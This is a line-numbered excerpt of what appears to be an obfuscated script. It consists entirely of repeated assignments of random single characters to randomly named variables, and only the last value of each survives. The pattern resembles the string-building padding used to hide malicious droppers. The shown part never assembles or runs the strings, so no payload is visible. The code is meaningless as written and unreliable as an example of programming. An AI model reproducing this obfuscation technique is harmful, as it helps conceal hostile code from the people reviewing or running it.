55	yagdixub = "W";
56	yagdixub = "N";
57	yagdixub = "E";
58	yagdixub = "a";
59	yagdixub = "T";
60	yagdixub = "n";
61	yagdixub = "p";
62	yagdixub = "N";
63	yagdixub = "j";
64	yagdixub = "w";
65	yagdixub = "a";
66	yagdixub = "G";
67	yagdixub = "s";
68	yagdixub = "Y";
69	yagdixub = "i";
70	yagdixub = "M";
71	yagdixub = "M";
72	yagdixub = "Y";
73	yagdixub = "P";
74	yagdixub = "Z";
75	yagdixub = "q";
76	yagdixub = "i";
77	yagdixub = "d";
78	yagdixub = "k";
79	yagdixub = "C";
80	yagdixub = "Q";
81	yagdixub = "B";
82	yagdixub = "T";
83	yagdixub = "-";
84	rnjmykwwy = "V";
85	rnjmykwwy = "Q";
86	rnjmykwwy = "z";
87	rnjmykwwy = "M";
88	rnjmykwwy = "x";
89	rnjmykwwy = "Q";
90	rnjmykwwy = "n";
91	rnjmykwwy = "G";
92	rnjmykwwy = "H";
93	rnjmykwwy = "m";
94	rnjmykwwy = "i";
95	rnjmykwwy = "C";
96	rnjmykwwy = "z";
97	rnjmykwwy = "c";
98	rnjmykwwy = "Q";
99	rnjmykwwy = "w";
100	rnjmykwwy = "s";
101	rnjmykwwy = "X";
102	rnjmykwwy = "p";
103	rnjmykwwy = "q";
104	rnjmykwwy = "M";
105	rnjmykwwy = "i";
106	rnjmykwwy = "M";
107	rnjmykwwy = "r";
108	rnjmykwwy = "a";
109	rnjmykwwy = "L";
110	rnjmykwwy = "w";
111	rnjmykwwy = "b";
112	rnjmykwwy = "G";
113	rnjmykwwy = "h";
114	rnjmykwwy = "y";
115	rnjmykwwy = "m";
116	rnjmykwwy = "r";
117	rnjmykwwy = "X";
118	rnjmykwwy = "u";
119	rnjmykwwy = "M";
120	rnjmykwwy = "m";
121	rnjmykwwy = "M";
122	rnjmykwwy = "V";
123	rnjmykwwy = "P";
124	rnjmykwwy = "d";
125	rnjmykwwy = "P";
126	rnjmykwwy = "E";
127	rnjmykwwy = ":";
128	qquqlxlpo = "O";
129	qquqlxlpo = "B";
130	qquqlxlpo = "n";
131	qquqlxlpo = "P";
132	qquqlxlpo = "x";
133	qquqlxlpo = "j";
134	qquqlxlpo = "X";
135	qquqlxlpo = "g";
136	qquqlxlpo = "J";
137	qquqlxlpo = "f";
138	qquqlxlpo = "O";
139	qquqlxlpo = "Q";
140	qquqlxlpo = "K";
141	qquqlxlpo = "r";
142	qquqlxlpo = "S";
143	qquqlxlpo = "K";
144	qquqlxlpo = "A";
145	qquqlxlpo = "J";
146	qquqlxlpo = "f";
147	qquqlxlpo = "T";
148	qquqlxlpo = "U";
149	qquqlxlpo = "i";
150	mlqvaagl = "B";
151	mlqvaagl = "F";
152	mlqvaagl = "C";
153	mlqvaagl = "i";
154	mlqvaagl = "F";
155	mlqvaagl = "T";
156	mlqvaagl = "e";
157	mlqvaagl = "j";
158	mlqvaagl = "X";
159	mlqvaagl = "q";
160	mlqvaagl = "A";
161	mlqvaagl = "p";
162	mlqvaagl = "p";
163	mlqvaagl = "N";
164	mlqvaagl = "l";
165	mlqvaagl = "Y";
166	mlqvaagl = "B";
167	mlqvaagl = "u";
168	mlqvaagl = "T";
169	mlqvaagl = "O";
170	mlqvaagl = "d";
171	mlqvaagl = "j";
172	mlqvaagl = "q";
173	mlqvaagl = "V";
174	mlqvaagl = "u";
175	mlqvaagl = "s";
176	mlqvaagl = "J";
177	mlqvaagl = "Y";
178	mlqvaagl = "p";
179	mlqvaagl = "b";
180	mlqvaagl = "f";
181	mlqvaagl = "V";
182	mlqvaagl = "w";
183	mlqvaagl = "P";
184	mlqvaagl = "E";
185	kouuvri = "Z";
186	kouuvri = "d";
187	kouuvri = "l";
188	kouuvri = "z";
189	kouuvri = "r";
190	kouuvri = "V";
191	kouuvri = "L";
192	kouuvri = "j";
193	kouuvri = "a";
194	kouuvri = "P";
195	kouuvri = "N";
196	kouuvri = "c";
197	kouuvri = "o";
198	kouuvri = "S";
199	kouuvri = "q";
200	kouuvri = "d";
201	kouuvri = "K";
202	kouuvri = "J";
203	kouuvri = "Z";
204	kouuvri = "Y";
205	kouuvri = "Q";
206	kouuvri = "e";
207	kouuvri = "r";
208	kouuvri = "K";
209	kouuvri = "C";
210	kouuvri = "L";
211	kouuvri = "X";
212	kouuvri = "E";
213	kouuvri = "o";
214	kouuvri = "y";
215	kouuvri = "G";
216	kouuvri = "U";
217	kouuvri = "l";
218	kouuvri = "e";
219	kouuvri = "I";
220	kouuvri = "f";
221	kouuvri = "w";
222	kouuvri = "Q";
223	kouuvri = "K";
224	kouuvri = "W";
225	qtnmay = "F";
226	qtnmay = "z";
227	qtnmay = "W";
228	qtnmay = "q";
229	qtnmay = "L";
230	qtnmay = "F";
231	rmgbv = "o";
232	rmgbv = "i";
233	rmgbv = "d";
234	rmgbv = "r";
235	rmgbv = "b";
236	rmgbv = "f";
237	rmgbv = "J";
238	rmgbv = "L";
239	rmgbv = "d";
240	rmgbv = "S";
241	csnjrsn = "G";
242	csnjrsn = "p";
243	csnjrsn = "w";
244	csnjrsn = "W";
245	csnjrsn = "O";
246	mjklnuhw = "U";
247	mjklnuhw = "c";
248	mjklnuhw = "Q";
249	mjklnuhw = "N";
250	mjklnuhw = "C";
251	mjklnuhw = "j";
252	mjklnuhw = "i";
253	mjklnuhw = "2";
254	ovzjlpnz = "h";
255	ovzjlpnz = "f";
256	ovzjlpnz = "l";
257	ovzjlpnz = "A";
258	ovzjlpnz = "D";
259	ovzjlpnz = "M";
260	ovzjlpnz = "y";
261	ovzjlpnz = "c";
262	ovzjlpnz = "H";
263	ovzjlpnz = "h";
264	ovzjlpnz = "y";
265	ovzjlpnz = "K";
266	ovzjlpnz = "T";
267	ovzjlpnz = "u";
268	ukuqz = "I";
269	ukuqz = "p";
270	ukuqz = "C";
271	ukuqz = "L";
272	ukuqz = "m";
273	ukuqz = "H";
274	ukuqz = "Q";
275	ukuqz = "t";
276	ukuqz = "s";
277	ukuqz = "A";
278	ukuqz = "W";
279	ukuqz = "u";
280	ukuqz = "p";
281	ukuqz = "m";
282	ukuqz = "l";
283	ukuqz = "D";
284	ukuqz = "f";
285	ukuqz = "H";
286	ukuqz = "b";
287	ukuqz = "k";
288	ukuqz = "q";
289	ukuqz = "h";
290	ukuqz = "i";
291	ukuqz = "Q";
292	ukuqz = "z";
293	ukuqz = "f";
294	ukuqz = "m";
295	ukuqz = "c";
296	ukuqz = "H";
297	ukuqz = "P";
298	ukuqz = "p";
299	ukuqz = "R";
300	ukuqz = "k";
301	ukuqz = "j";
302	ukuqz = "s";
303	ukuqz = "O";
304	ukuqz = "P";
305	ukuqz = "N";
306	ukuqz = "B";
307	ukuqz = "B";
308	ukuqz = "A";
309	ukuqz = "x";
310	fpbkldgh = "b";
311	fpbkldgh = "l";
312	fpbkldgh = "Y";
313	fpbkldgh = "A";
314	fpbkldgh = "d";
315	fpbkldgh = "I";
316	fpbkldgh = "i";
317	fpbkldgh = "d";
318	fpbkldgh = "o";
319	fpbkldgh = "f";
320	sikhf = "u";
321	sikhf = "i";
322	sikhf = "N";
323	sikhf = "H";
324	sikhf = "P";
325	sikhf = "v";
326	sikhf = "R";
327	sikhf = "m";
328	sikhf = "S";
329	sikhf = "R";
330	sikhf = "L";
331	sikhf = "G";
332	sikhf = "G";
333	sikhf = "Q";
334	sikhf = "b";
335	sikhf = "C";
336	sikhf = "k";
337	sikhf = "s";
338	sikhf = "j";
339	sikhf = "o";
340	sikhf = "n";
341	sikhf = "H";
342	sikhf = "z";
343	sikhf = "z";
344	sikhf = "u";
345	sikhf = "A";
346	sikhf = "G";
347	sikhf = "e";
348	sikhf = "W";
349	sikhf = "l";
350	sikhf = "f";
351	sikhf = "E";
352	sikhf = "i";
353	sikhf = "q";
354	sikhf = "h";
355	sikhf = "U";
356	sikhf = "t";
357	sikhf = "\"";
358	xjjjdhh = "D";
359	xjjjdhh = "R";
360	xjjjdhh = "i";
361	xjjjdhh = "I";
362	xjjjdhh = "t";
363	xjjjdhh = "N";
364	xjjjdhh = "s";
365	xjjjdhh = "Q";
366	xjjjdhh = "y";
367	xjjjdhh = "q";
368	hfsnjm = "C";
369	hfsnjm = "Y";
370	hfsnjm = "h";
371	hfsnjm = "V";
372	hfsnjm = "O";
373	hfsnjm = "B";
374	hfsnjm = "s";
375	hfsnjm = "E";
376	hfsnjm = "r";
377	hfsnjm = "H";
378	hfsnjm = "o";
379	hfsnjm = "A";
380	hfsnjm = "e";
381	hfsnjm = "v";
382	hfsnjm = "Z";
383	hfsnjm = "D";
384	hfsnjm = "W";
385	hfsnjm = "U";
386	hfsnjm = "g";
387	hfsnjm = "T";
388	hfsnjm = "O";
389	hfsnjm = "k";
390	hfsnjm = "q";
391	hfsnjm = "a";
392	hfsnjm = "h";
393	xrkdkb = "y";
394	xrkdkb = "z";
395	xrkdkb = "I";
396	xrkdkb = "R";
397	xrkdkb = "E";
398	xrkdkb = "k";
399	xrkdkb = "J";
400	xrkdkb = "T";
401	xrkdkb = "I";
402	xrkdkb = "k";
403	xrkdkb = "v";
404	xrkdkb = "k";
405	xrkdkb = "E";
406	xrkdkb = "I";
407	xrkdkb = "B";
408	xrkdkb = "V";
409	xrkdkb = "V";
410	xrkdkb = "j";
411	xrkdkb = "h";
412	xrkdkb = "d";
413	xrkdkb = "Y";
414	xrkdkb = "d";
415	xrkdkb = "c";
416	xrkdkb = "S";
417	xrkdkb = "d";
418	xrkdkb = "v";
419	xrkdkb = "d";
420	xrkdkb = "i";
421	xrkdkb = "D";
422	xrkdkb = "H";
423	xrkdkb = "P";
424	xrkdkb = "D";
425	xrkdkb = "W";
426	xrkdkb = "p";
427	ixbzfbp = "V";
428	ixbzfbp = "o";
429	etbvnaqy = "D";
430	etbvnaqy = "L";
431	etbvnaqy = "V";
432	etbvnaqy = "B";
433	etbvnaqy = "l";
434	etbvnaqy = "R";
435	etbvnaqy = "l";
436	etbvnaqy = "t";
437	etbvnaqy = "w";
438	etbvnaqy = "V";
439	etbvnaqy = "I";
440	etbvnaqy = "o";
441	etbvnaqy = "y";
442	etbvnaqy = "X";
443	etbvnaqy = "W";
444	etbvnaqy = "U";
445	etbvnaqy = "o";
446	etbvnaqy = "W";
447	etbvnaqy = "j";
448	etbvnaqy = "A";
449	etbvnaqy = "b";
450	znrhf = "N";
451	znrhf = "P";
452	pldaxevf = "l";
453	pldaxevf = "r";
454	pldaxevf = "O";
455	pldaxevf = "K";
456	pldaxevf = "W";
457	pldaxevf = "y";
458	pldaxevf = "V";
459	pldaxevf = "e";
460	pldaxevf = "y";
461	pldaxevf = "b";
462	pldaxevf = "Z";
463	pldaxevf = "d";
464	pldaxevf = "Q";
465	pldaxevf = "E";
466	pldaxevf = "B";
467	pldaxevf = "A";
468	pldaxevf = "p";
469	pldaxevf = "q";
470	pldaxevf = "G";
471	pldaxevf = "E";
472	pldaxevf = "w";
473	pldaxevf = "E";
474	pldaxevf = "L";
475	pldaxevf = "K";
476	pldaxevf = "Z";
477	pldaxevf = "n";
478	pldaxevf = "Y";
479	pldaxevf = "N";
480	pldaxevf = "L";
481	pldaxevf = "r";
482	pldaxevf = "l";
483	pldaxevf = "p";
484	pldaxevf = "z";
485	pldaxevf = "w";
486	pldaxevf = "R";
487	pldaxevf = "F";
488	pldaxevf = "u";
489	pldaxevf = "G";
490	pldaxevf = "a";
491	pldaxevf = "T";
492	pldaxevf = "L";
493	pldaxevf = "J";
494	pldaxevf = ".";
495	zbjkfdqyu = "C";
496	caymqgxpa = "F";
497	caymqgxpa = "P";
498	caymqgxpa = "s";
499	caymqgxpa = "U";
500	caymqgxpa = "N";
501	caymqgxpa = "X";
502	caymqgxpa = "c";
503	caymqgxpa = "x";
504	caymqgxpa = "a";
505	caymqgxpa = "B";
506	caymqgxpa = "H";
507	caymqgxpa = "W";
508	caymqgxpa = "G";
509	caymqgxpa = "e";
510	caymqgxpa = "C";
511	caymqgxpa = "g";
512	caymqgxpa = "i";
513	caymqgxpa = "c";
514	caymqgxpa = "T";
515	caymqgxpa = "q";
516	caymqgxpa = "B";
517	caymqgxpa = "A";
518	caymqgxpa = "d";
519	caymqgxpa = "k";
520	caymqgxpa = "S";
521	caymqgxpa = "d";
522	exagcqdi = "S";
523	exagcqdi = "p";
524	exagcqdi = "s";
525	exagcqdi = "N";
526	exagcqdi = "K";
527	exagcqdi = "z";
528	exagcqdi = "X";
529	exagcqdi = "U";
530	exagcqdi = "J";
531	exagcqdi = "k";
532	exagcqdi = "e";
533	exagcqdi = "x";
534	exagcqdi = "M";
535	exagcqdi = "F";
536	exagcqdi = "q";
537	exagcqdi = "K";
538	exagcqdi = "J";
539	exagcqdi = "f";
540	exagcqdi = "G";
541	exagcqdi = "f";
542	exagcqdi = "h";
543	exagcqdi = "D";
544	exagcqdi = "J";
545	exagcqdi = "J";
546	exagcqdi = "C";
547	exagcqdi = "N";
548	exagcqdi = "V";
549	exagcqdi = "N";
550	exagcqdi = "I";
551	exagcqdi = "d";
552	exagcqdi = "p";
553	exagcqdi = "y";
554	exagcqdi = "b";
555	exagcqdi = "y";
556	exagcqdi = "w";
557	exagcqdi = "j";
558	jqmayzk = "K";
559	jqmayzk = "b";
560	jqmayzk = "M";
561	jqmayzk = "G";
562	jqmayzk = "p";
563	jqmayzk = "l";
564	jqmayzk = "T";
565	jqmayzk = "d";
566	jqmayzk = "e";
567	jqmayzk = "M";
568	jqmayzk = "M";
569	jqmayzk = "R";
570	jqmayzk = "W";
571	jqmayzk = "S";
572	jqmayzk = "k";
573	jqmayzk = "u";
574	jqmayzk = "S";
575	jqmayzk = "U";
576	jqmayzk = "m";
577	jqmayzk = "J";
578	jqmayzk = "o";
579	jqmayzk = "w";
580	jqmayzk = "D";
581	jqmayzk = "O";
582	jqmayzk = "P";
583	jqmayzk = "H";
584	jqmayzk = "H";
585	jqmayzk = "y";
586	jqmayzk = "g";
587	jqmayzk = "t";
588	jqmayzk = "H";
589	jqmayzk = "Q";
590	jqmayzk = "f";
591	jqmayzk = "A";
592	jqmayzk = "q";
593	jqmayzk = "S";
594	jqmayzk = "A";
595	jqmayzk = "s";
596	wwtknifm = "Y";
597	wwtknifm = "H";
598	wwtknifm = "z";
599	wwtknifm = "L";
600	wwtknifm = "e";
601	wwtknifm = "Y";
602	wwtknifm = "k";
603	wwtknifm = "s";
604	wwtknifm = "D";
605	wwtknifm = "R";
606	wwtknifm = "y";
607	wwtknifm = "m";
608	wwtknifm = "u";
609	wwtknifm = "h";
610	wwtknifm = "l";
611	wwtknifm = "C";
612	wwtknifm = "m";
613	wwtknifm = "l";
614	wwtknifm = "F";
615	wwtknifm = "Y";
616	selnsva = "D";
617	selnsva = "j";
618	selnsva = "M";
619	selnsva = "t";
620	selnsva = "H";
621	selnsva = "J";
622	selnsva = "C";
623	selnsva = "F";
624	selnsva = "m";
625	selnsva = "I";
626	selnsva = "s";
627	selnsva = "a";
628	selnsva = "T";
629	selnsva = "z";
630	selnsva = "k";
631	selnsva = "N";
632	selnsva = "M";
633	selnsva = "p";
634	selnsva = "@";
635	mciiszsqv = "u";
636	mciiszsqv = "t";
637	mciiszsqv = "d";
638	mciiszsqv = "Z";
639	mciiszsqv = "n";
640	mciiszsqv = "a";
641	mciiszsqv = "w";
642	mciiszsqv = "h";
643	mciiszsqv = "Y";
644	mciiszsqv = "e";
645	mciiszsqv = "m";
646	mciiszsqv = "a";
647	mciiszsqv = "c";
648	mciiszsqv = "V";
649	mciiszsqv = "y";
650	mciiszsqv = "s";
651	mciiszsqv = "i";
652	mciiszsqv = "e";
653	mciiszsqv = "o";
654	mciiszsqv = "c";
655	mciiszsqv = "L";
656	mciiszsqv = "D";
657	mciiszsqv = "g";
658	mciiszsqv = "o";
659	mciiszsqv = "K";
660	mciiszsqv = "P";
661	mciiszsqv = "i";
662	mciiszsqv = "I";
663	mciiszsqv = "C";
664	mciiszsqv = "t";
665	mciiszsqv = "F";
666	mciiszsqv = "o";
667	mciiszsqv = "K";
668	mciiszsqv = "r";
669	mciiszsqv = "j";
670	mciiszsqv = "Z";
671	mciiszsqv = "p";
672	mciiszsqv = "w";
673	mciiszsqv = "F";
674	mciiszsqv = "V";
675	mciiszsqv = "O";
676	mciiszsqv = " ";
677	fjemgowd = "E";
678	fjemgowd = "g";
679	fjemgowd = "u";
680	fjemgowd = "P";
681	fjemgowd = "G";
682	fjemgowd = "f";
683	fjemgowd = "H";
684	fjemgowd = "t";
685	fjemgowd = "i";
686	fjemgowd = "B";
687	fjemgowd = "P";
688	fjemgowd = "k";
689	fjemgowd = "o";
690	fjemgowd = "G";
691	fjemgowd = "e";
692	fjemgowd = "t";
693	oawyojb = "o";
694	oawyojb = "G";
695	oawyojb = "k";
696	oawyojb = "f";
697	oawyojb = "P";
698	oawyojb = "E";
699	oawyojb = "t";
700	oawyojb = "6";
701	smaxujzn = "H";
702	gkdmy = "W";
703	gkdmy = "i";
704	gkdmy = "S";
705	gkdmy = "B";
706	gkdmy = "V";
707	gkdmy = "O";
708	gkdmy = "k";
709	gkdmy = "q";
710	gkdmy = "P";
711	gkdmy = "z";
712	gkdmy = "V";
713	gkdmy = "e";
714	gkdmy = "f";
715	gkdmy = "A";
716	gkdmy = "l";
717	gkdmy = "g";
718	gkdmy = "C";
719	gkdmy = "8";
720	umwybiz = "f";
721	umwybiz = "q";
722	umwybiz = "x";
723	umwybiz = "O";
724	umwybiz = "u";
725	umwybiz = "z";
726	umwybiz = "F";
727	umwybiz = "l";
728	umwybiz = "x";
729	umwybiz = "G";
730	umwybiz = "l";
731	umwybiz = "h";
732	umwybiz = "y";
733	umwybiz = "r";
734	umwybiz = "T";
735	umwybiz = "a";
736	umwybiz = "L";
737	umwybiz = "c";
738	umwybiz = "v";
739	umwybiz = "%";
740	asgckdxn = "f";
741	asgckdxn = "b";
742	asgckdxn = "A";
743	asgckdxn = "O";
744	asgckdxn = "C";
745	asgckdxn = "P";
746	asgckdxn = "M";
747	asgckdxn = "Z";
748	asgckdxn = "Z";
749	asgckdxn = "y";
750	asgckdxn = "Y";
751	asgckdxn = "Y";
752	asgckdxn = "V";
753	asgckdxn = "o";
754	asgckdxn = "G";
755	asgckdxn = "z";
756	asgckdxn = "U";
757	asgckdxn = "Z";
758	asgckdxn = "O";
759	asgckdxn = "L";
760	asgckdxn = "r";
761	asgckdxn = "j";
762	asgckdxn = "p";
763	asgckdxn = "v";
764	asgckdxn = "z";
765	asgckdxn = "e";
766	asgckdxn = "S";
767	asgckdxn = "B";
768	asgckdxn = "n";
769	asgckdxn = "e";
770	asgckdxn = "P";
771	asgckdxn = "E";
772	asgckdxn = "D";
773	asgckdxn = "D";
774	asgckdxn = "Q";
775	yyolvbf = "Q";
776	yyolvbf = "G";
777	yyolvbf = "G";
778	yyolvbf = "N";
779	yyolvbf = "K";
780	yyolvbf = "y";
781	yyolvbf = "y";
782	yyolvbf = "r";
783	yyolvbf = "n";
784	yyolvbf = "p";
785	yyolvbf = "a";
786	yyolvbf = "M";
787	yyolvbf = "Z";
788	yyolvbf = "D";
789	yyolvbf = "a";
790	yyolvbf = "h";
791	yyolvbf = "B";
792	yyolvbf = "z";
793	yyolvbf = "o";
794	yyolvbf = "w";
795	tqhic = "g";
796	udhonwghi = "B";
797	udhonwghi = "C";
798	udhonwghi = "D";
799	udhonwghi = "v";
800	udhonwghi = "P";
801	udhonwghi = "K";
802	udhonwghi = "u";
803	udhonwghi = "f";
804	udhonwghi = "L";
805	udhonwghi = "L";
806	udhonwghi = "D";
807	udhonwghi = "V";
808	udhonwghi = "K";
809	udhonwghi = "e";
810	udhonwghi = "t";
811	udhonwghi = "I";
812	tgsvp = "R";
813	tgsvp = "d";
814	tgsvp = "x";
815	tgsvp = "E";
816	tgsvp = "i";
817	tgsvp = "f";
818	tgsvp = "d";
819	tgsvp = "r";
820	tgsvp = "q";
821	tgsvp = "G";
822	tgsvp = "y";
823	tgsvp = "U";
824	tgsvp = "O";
825	tgsvp = "k";
826	tgsvp = "c";
827	tgsvp = "g";
828	tgsvp = "d";
829	tgsvp = "U";
830	tgsvp = "H";
831	tgsvp = "f";
832	tgsvp = "D";
833	tgsvp = "z";
834	tgsvp = "p";
835	tgsvp = "J";
836	tgsvp = "r";
837	wpukfu = "s";
838	wpukfu = "k";
839	wpukfu = "H";
840	wpukfu = "S";
841	wpukfu = "f";
842	wpukfu = "Q";
843	wpukfu = "V";
844	wpukfu = "t";
845	wpukfu = "i";
846	wpukfu = "V";
847	wpukfu = "w";
848	wpukfu = "W";
849	wpukfu = "A";
850	wpukfu = "V";
851	wpukfu = "t";
852	wpukfu = "d";
853	wpukfu = "E";
854	wpukfu = "j";
855	wpukfu = "s";
856	wpukfu = "X";
857	wpukfu = "o";
858	wpukfu = "G";
859	wpukfu = "p";
860	wpukfu = "f";
861	wpukfu = "t";
862	wpukfu = "p";
863	wpukfu = "I";
864	wpukfu = "s";
865	wpukfu = "l";
866	ytcqb = "n";
867	ytcqb = "c";
868	ytcqb = "W";
869	ytcqb = "A";
870	ytcqb = "e";
871	ytcqb = "s";
872	ytcqb = "U";
873	ytcqb = "Z";
874	ytcqb = "V";
875	ytcqb = "W";
876	ytcqb = "k";
877	ytcqb = "i";
878	ytcqb = "v";
879	ytcqb = "u";
880	ytcqb = "U";
881	ytcqb = "n";
882	ytcqb = "B";
883	ytcqb = "b";
884	ytcqb = "u";
885	ytcqb = "k";
886	anaain = "x";
887	anaain = "U";
888	anaain = "A";
889	anaain = "B";
890	anaain = "V";
891	anaain = "O";
892	anaain = "i";
893	anaain = "g";
894	anaain = "t";
895	anaain = "Z";
896	anaain = "e";
897	anaain = "O";
898	anaain = "W";
899	anaain = "j";
900	anaain = "y";
901	anaain = "b";
902	anaain = "q";
903	anaain = "S";
904	anaain = "y";
905	anaain = "P";
906	anaain = "e";
907	anaain = "X";
908	anaain = "X";
909	anaain = "r";
910	anaain = "R";
911	anaain = "V";
912	anaain = "s";
913	anaain = "\\";
914	uoaey = "j";
915	uoaey = "O";
916	uoaey = "G";
917	uoaey = "D";
918	uoaey = "Z";
919	uoaey = "z";
920	uoaey = "J";
921	uoaey = "U";
922	uoaey = "B";
923	uoaey = "e";
924	uoaey = "u";
925	uoaey = "E";
926	uoaey = "T";
927	uoaey = "v";
928	uoaey = "z";
929	uoaey = "e";
930	uoaey = "v";
931	uoaey = "g";
932	uoaey = "T";
933	uoaey = "o";
934	uoaey = "r";
935	uoaey = "F";
936	uoaey = "I";
937	uoaey = "M";
938	uoaey = "M";
939	uoaey = "f";
940	uoaey = "H";
941	uoaey = "Q";
942	uoaey = "D";
943	uoaey = "V";
944	uoaey = "x";
945	uoaey = "w";
946	uoaey = "C";
947	uoaey = "z";
948	uoaey = "w";
949	uoaey = "L";
950	uoaey = "l";
951	uoaey = "&";
952	kdpfdd = "I";
953	kdpfdd = "i";
954	kdpfdd = "y";
955	kdpfdd = "Z";
956	kdpfdd = "y";
957	kdpfdd = "o";
958	kdpfdd = "n";
959	kdpfdd = "e";
960	kdpfdd = "W";
961	kdpfdd = "P";
962	kdpfdd = "B";
963	kdpfdd = "T";
964	kdpfdd = "N";
965	kdpfdd = "o";
966	kdpfdd = "z";
967	kdpfdd = "p";
968	kdpfdd = "H";
969	kdpfdd = "e";
970	kdpfdd = "V";
971	kdpfdd = "z";
972	kdpfdd = "r";
973	kdpfdd = "j";
974	kdpfdd = "q";
975	kdpfdd = "c";
976	kdpfdd = "l";
977	kdpfdd = "o";
978	kdpfdd = "k";
979	kdpfdd = "a";
980	kdpfdd = "T";
981	kdpfdd = "x";
982	kdpfdd = "A";
983	kdpfdd = "U";
984	kdpfdd = "f";
985	kdpfdd = "I";
986	kdpfdd = "x";
987	kdpfdd = "t";
988	kdpfdd = "Q";
989	kdpfdd = "V";
990	kdpfdd = "W";
991	kdpfdd = "f";
992	kdpfdd = "_";
993	zgjlufe = "j";
994	zgjlufe = "a";
995	zgjlufe = "v";
996	zgjlufe = "b";
997	zgjlufe = "V";
998	zgjlufe = "C";
999	zgjlufe = "p";
1000	zgjlufe = "y";
1001	zgjlufe = "s";
1002	zgjlufe = "R";
1003	zgjlufe = "U";
1004	zgjlufe = "O";
1005	zgjlufe = "f";
1006	zgjlufe = "U";
1007	zgjlufe = "T";
1008	zgjlufe = "F";
1009	zgjlufe = "k";
1010	zgjlufe = "F";
1011	zgjlufe = "v";
1012	zgjlufe = "R";
1013	zgjlufe = "x";
1014	zgjlufe = "K";
1015	zgjlufe = "o";
1016	zgjlufe = "v";
1017	zgjlufe = "F";
1018	zgjlufe = "x";
1019	zgjlufe = "F";
1020	zgjlufe = "Z";
1021	zgjlufe = "p";
1022	zgjlufe = "C";
1023	zgjlufe = "m";
1024	zgjlufe = "t";
1025	zgjlufe = "H";
1026	zgjlufe = "N";
1027	zgjlufe = "o";
1028	zgjlufe = "X";
1029	zgjlufe = "x";
1030	zgjlufe = "L";
1031	zgjlufe = "L";
1032	zgjlufe = "5";
1033	uvnsyq = "o";
1034	uvnsyq = "U";
1035	uvnsyq = "f";
1036	uvnsyq = "J";
1037	uvnsyq = "x";
1038	uvnsyq = "F";
1039	uvnsyq = "j";
1040	uvnsyq = "o";
1041	uvnsyq = "d";
1042	uvnsyq = "m";
1043	uvnsyq = "G";
1044	uvnsyq = "Y";
1045	uvnsyq = "K";
1046	uvnsyq = "P";
1047	uvnsyq = "j";
1048	uvnsyq = "j";
1049	uvnsyq = "F";
1050	uvnsyq = "L";
1051	uvnsyq = "b";
1052	uvnsyq = "X";
1053	uvnsyq = "t";
1054	uvnsyq = "M";
1055	uvnsyq = "D";
1056	uvnsyq = "R";
1057	exnfvzo = "/";
1058	djpqh = "q";
1059	djpqh = "r";
1060	djpqh = "d";
1061	djpqh = "y";
1062	djpqh = "f";
1063	djpqh = "V";
1064	djpqh = "X";
1065	djpqh = "k";
1066	djpqh = "P";
1067	djpqh = "q";
1068	djpqh = "P";
1069	djpqh = "e";
1070	djpqh = "a";
1071	djpqh = "H";
1072	djpqh = "g";
1073	djpqh = "r";
1074	djpqh = "l";
1075	djpqh = "t";
1076	djpqh = "v";
1077	djpqh = "G";
1078	djpqh = "B";
1079	djpqh = "g";
1080	djpqh = "p";
1081	djpqh = "m";
1082	dfmwxcj = "t";
1083	dfmwxcj = "q";
1084	dfmwxcj = "c";
1085	dfmwxcj = "c";
1086	kenaxj = "W";
1087	kenaxj = "K";
1088	kenaxj = "k";
1089	kenaxj = "g";
1090	kenaxj = "Z";
1091	kenaxj = "a";
1092	kenaxj = "H";
1093	kenaxj = "c";
1094	kenaxj = "s";
1095	kenaxj = "h";
1096	kenaxj = "K";
1097	kenaxj = "o";
1098	kenaxj = "K";
1099	kenaxj = "Q";
1100	kenaxj = "L";
1101	ieldcaw = "H";
1102	ieldcaw = "L";
1103	ieldcaw = "x";
1104	ieldcaw = "t";
1105	ieldcaw = "u";
1106	ieldcaw = "j";
1107	ieldcaw = "s";
1108	ieldcaw = "U";
1109	ieldcaw = "b";
1110	ieldcaw = "M";
1111	ieldcaw = "D";
1112	ieldcaw = "x";
1113	ieldcaw = "U";
1114	bxpbu = "C";
1115	bxpbu = "K";
1116	bxpbu = "a";
1117	bxpbu = "p";
1118	bxpbu = "Y";
1119	bxpbu = "n";
1120	bxpbu = "O";
1121	bxpbu = "S";
1122	bxpbu = "E";
1123	bxpbu = "t";
1124	bxpbu = "Q";
1125	bxpbu = "t";
1126	bxpbu = "P";
1127	bxpbu = "H";
1128	bxpbu = "U";
1129	bxpbu = "B";
1130	bxpbu = "S";
1131	bxpbu = "H";
1132	bxpbu = "j";
1133	bxpbu = "N";
1134	bxpbu = "Q";
1135	bxpbu = "u";
1136	bxpbu = "n";
1137	vxlugnqwc = "X";
1138	vxlugnqwc = "L";
1139	vxlugnqwc = "o";
1140	vxlugnqwc = "K";
1141	vxlugnqwc = "z";
1142	vxlugnqwc = "m";
1143	vxlugnqwc = "I";
1144	vxlugnqwc = "b";
1145	vxlugnqwc = "S";
1146	vxlugnqwc = "w";
1147	vxlugnqwc = "L";
1148	vxlugnqwc = "P";
1149	vxlugnqwc = "B";
1150	vxlugnqwc = "z";
1151	vxlugnqwc = "A";
1152	vxlugnqwc = "T";
1153	vxlugnqwc = "S";
1154	vxlugnqwc = "S";
1155	vxlugnqwc = "z";
1156	vxlugnqwc = "a";
1157	vxlugnqwc = "H";
1158	vxlugnqwc = "t";
1159	vxlugnqwc = "S";
1160	vxlugnqwc = "N";
1161	vxlugnqwc = "r";
1162	vxlugnqwc = "b";
1163	vxlugnqwc = "e";
1164	wjoifp = "Q";
1165	wjoifp = "Q";
1166	wjoifp = "o";
1167	wjoifp = "f";
1168	wjoifp = "k";
1169	wjoifp = "m";
1170	wjoifp = "M";
1171	wjoifp = "m";
1172	wjoifp = "o";
1173	wjoifp = "O";
1174	wjoifp = "b";
1175	wjoifp = "r";
1176	wjoifp = "E";
1177	wjoifp = "b";
1178	wjoifp = "j";
1179	wjoifp = "s";
1180	wjoifp = "u";
1181	wjoifp = "u";
1182	wjoifp = "k";
1183	wjoifp = "S";
1184	wjoifp = "W";
1185	wjoifp = "B";
1186	wjoifp = "E";
1187	wjoifp = "1";
1188	jlcpgblk = "e";
1189	jlcpgblk = "w";
1190	jlcpgblk = "c";
1191	jlcpgblk = "D";
1192	jlcpgblk = "C";
1193	jlcpgblk = "G";
1194	jlcpgblk = "C";
1195	jlcpgblk = "K";
1196	jlcpgblk = "Y";
1197	jlcpgblk = "C";
1198	jlcpgblk = "s";
1199	jlcpgblk = "i";
1200	jlcpgblk = "Y";
1201	jlcpgblk = "y";
1202	jlcpgblk = "r";
1203	jlcpgblk = "Y";
1204	jlcpgblk = "T";
1205	jlcpgblk = "t";
